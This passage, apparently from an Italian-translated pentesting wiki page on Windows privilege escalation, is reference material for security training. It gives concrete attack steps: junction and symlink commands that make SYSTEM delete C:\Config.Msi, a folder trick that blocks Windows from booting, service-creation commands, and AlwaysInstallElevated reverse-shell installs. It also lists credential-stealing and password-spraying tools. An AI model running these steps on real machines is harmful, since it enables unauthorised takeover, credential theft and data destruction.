file1.txtdirettamente — questo rilascierebbe l'oplock prematuramente. -
Opzione B: Converti
folder1in una junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opzione C: Crea un symlink in
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Questo prende di mira lo stream interno NTFS che memorizza i metadati della cartella — cancellandolo si elimina la cartella.
- Passo 5: Rilascio dell'oplock
- Il processo SYSTEM continua e tenta di eliminare
file1.txt. - Ma ora, a causa della junction + symlink, sta effettivamente cancellando:
C:\Config.Msi::$INDEX_ALLOCATION
Risultato: C:\Config.Msi viene eliminato da SYSTEM.
Da creazione di cartella arbitraria a DoS permanente
Sfrutta una primitiva che ti permette di creare una cartella arbitraria come SYSTEM/admin — anche se non puoi scrivere file o impostare permessi deboli.
Crea una cartella (non un file) con il nome di un driver critico di Windows, es.:
C:\Windows\System32\cng.sys
- Questo percorso normalmente corrisponde al driver in modalità kernel
cng.sys. - Se lo pre-crei come cartella, Windows non riesce a caricare il driver reale all'avvio.
- Poi, Windows tenta di caricare
cng.sysdurante l'avvio. - Vede la cartella, non riesce a risolvere il driver reale, e va in crash o blocca l'avvio.
- Non c'è nessun fallback, e nessuna possibilità di recupero senza intervento esterno (es. riparazione dell'avvio o accesso al disco).
Da High Integrity a System
Nuovo servizio
Se stai già eseguendo un processo High Integrity, il percorso verso SYSTEM può essere semplice semplicemente creando ed eseguendo un nuovo servizio:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Quando crei un service binary assicurati che sia un servizio valido o che l'eseguibile compia le azioni necessarie abbastanza velocemente, perché verrà terminato in 20s se non è un servizio valido.
AlwaysInstallElevated
From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
Maggiori informazioni sulle chiavi di registro coinvolte e su come installare un pacchetto .msi qui.
High + SeImpersonate privilege to System
Puoi trovare il codice qui.
From SeDebug + SeImpersonate to Full Token privileges
Se hai quei privilegi del token (probabilmente li troverai in un processo già con High Integrity), sarai in grado di aprire quasi qualsiasi processo (non i processi protetti) con il privilegio SeDebug, copiare il token del processo e creare un processo arbitrario con quel token.
Usando questa tecnica solitamente si seleziona un processo in esecuzione come SYSTEM con tutti i privilegi del token (sì, puoi trovare processi SYSTEM senza tutti i privilegi del token).
Puoi trovare un esempio di codice che esegue la tecnica proposta qui.
Named Pipes
This technique is used by meterpreter to escalate in getsystem. The technique consists on creating a pipe and then create/abuse a service to write on that pipe. Then, the server that created the pipe using the SeImpersonate privilege will be able to impersonate the token of the pipe client (the service) obtaining SYSTEM privileges.
Se vuoi saperne di più sulle named pipes dovresti leggere questo.
Se vuoi leggere un esempio di come passare da high integrity a System usando name pipes dovresti leggere questo.
Dll Hijacking
Se riesci a hijackare una dll che viene caricata da un processo in esecuzione come SYSTEM potrai eseguire codice arbitrario con quei permessi. Perciò Dll Hijacking è utile per questo tipo di escalation di privilegi e, inoltre, è di gran più facile da ottenere da un processo con High Integrity poiché avrà permessi di scrittura sulle cartelle usate per caricare le dll.
Puoi approfondire Dll hijacking qui.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
Da LOCAL SERVICE o NETWORK SERVICE a privilegi completi
Read: https://github.com/itm4n/FullPowers
Ulteriore aiuto
Strumenti utili
Best tool to look for Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Controlla misconfigurazioni e file sensibili (check here). Rilevato.
JAWS -- Controlla alcune possibili misconfigurazioni e raccoglie info (check here).
privesc -- Controlla misconfigurazioni
SessionGopher -- Estrae informazioni delle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usare -Thorough in locale.
Invoke-WCMDump -- Estrae credenziali dal Credential Manager. Rilevato.
DomainPasswordSpray -- Applica le password raccolte sul dominio
Inveigh -- Inveigh è un tool PowerShell per spoofing ADIDNS/LLMNR/mDNS/NBNS e man-in-the-middle.
WindowsEnum -- Enumerazione Windows base per privesc
Sherlock ~~~~ -- Cerca note vulnerabilità di privesc (DEPRECATO per Watson)
WINspect -- Controlli locali (Richiede diritti Admin)
Exe
Watson -- Cerca note vulnerabilità di privesc (deve essere compilato con VisualStudio) (precompiled)
SeatBelt -- Enumera l'host cercando misconfigurazioni (più uno strumento di info gathering che di privesc) (deve essere compilato) (precompiled)
LaZagne -- Estrae credenziali da molti software (exe precompilato su GitHub)
SharpUP -- Porting di PowerUp in C#
Beroot ~~~~ -- Controlla misconfigurazioni (eseguibile precompilato su GitHub). Non raccomandato. Non funziona bene su Win10.
Windows-Privesc-Check -- Controlla possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene su Win10.
Bat
winPEASbat -- Tool creato basandosi su questo post (non necessita di accesschk per funzionare correttamente ma può utilizzarlo).
Local
Windows-Exploit-Suggester -- Legge l'output di systeminfo e raccomanda exploit funzionanti (python locale)
Windows Exploit Suggester Next Generation -- Legge l'output di systeminfo e raccomanda exploit funzionanti (python locale)
Meterpreter
multi/recon/local_exploit_suggestor
Devi compilare il progetto usando la versione corretta di .NET (vedi questo). Per vedere la versione di .NET installata sull'host vittima puoi fare:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Riferimenti
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) e kernel token theft
-
Check Point Research – Inseguendo la Silver Fox: Gatto & Mouse nelle ombre del kernel
{{#include ../../banners/hacktricks-training.md}}
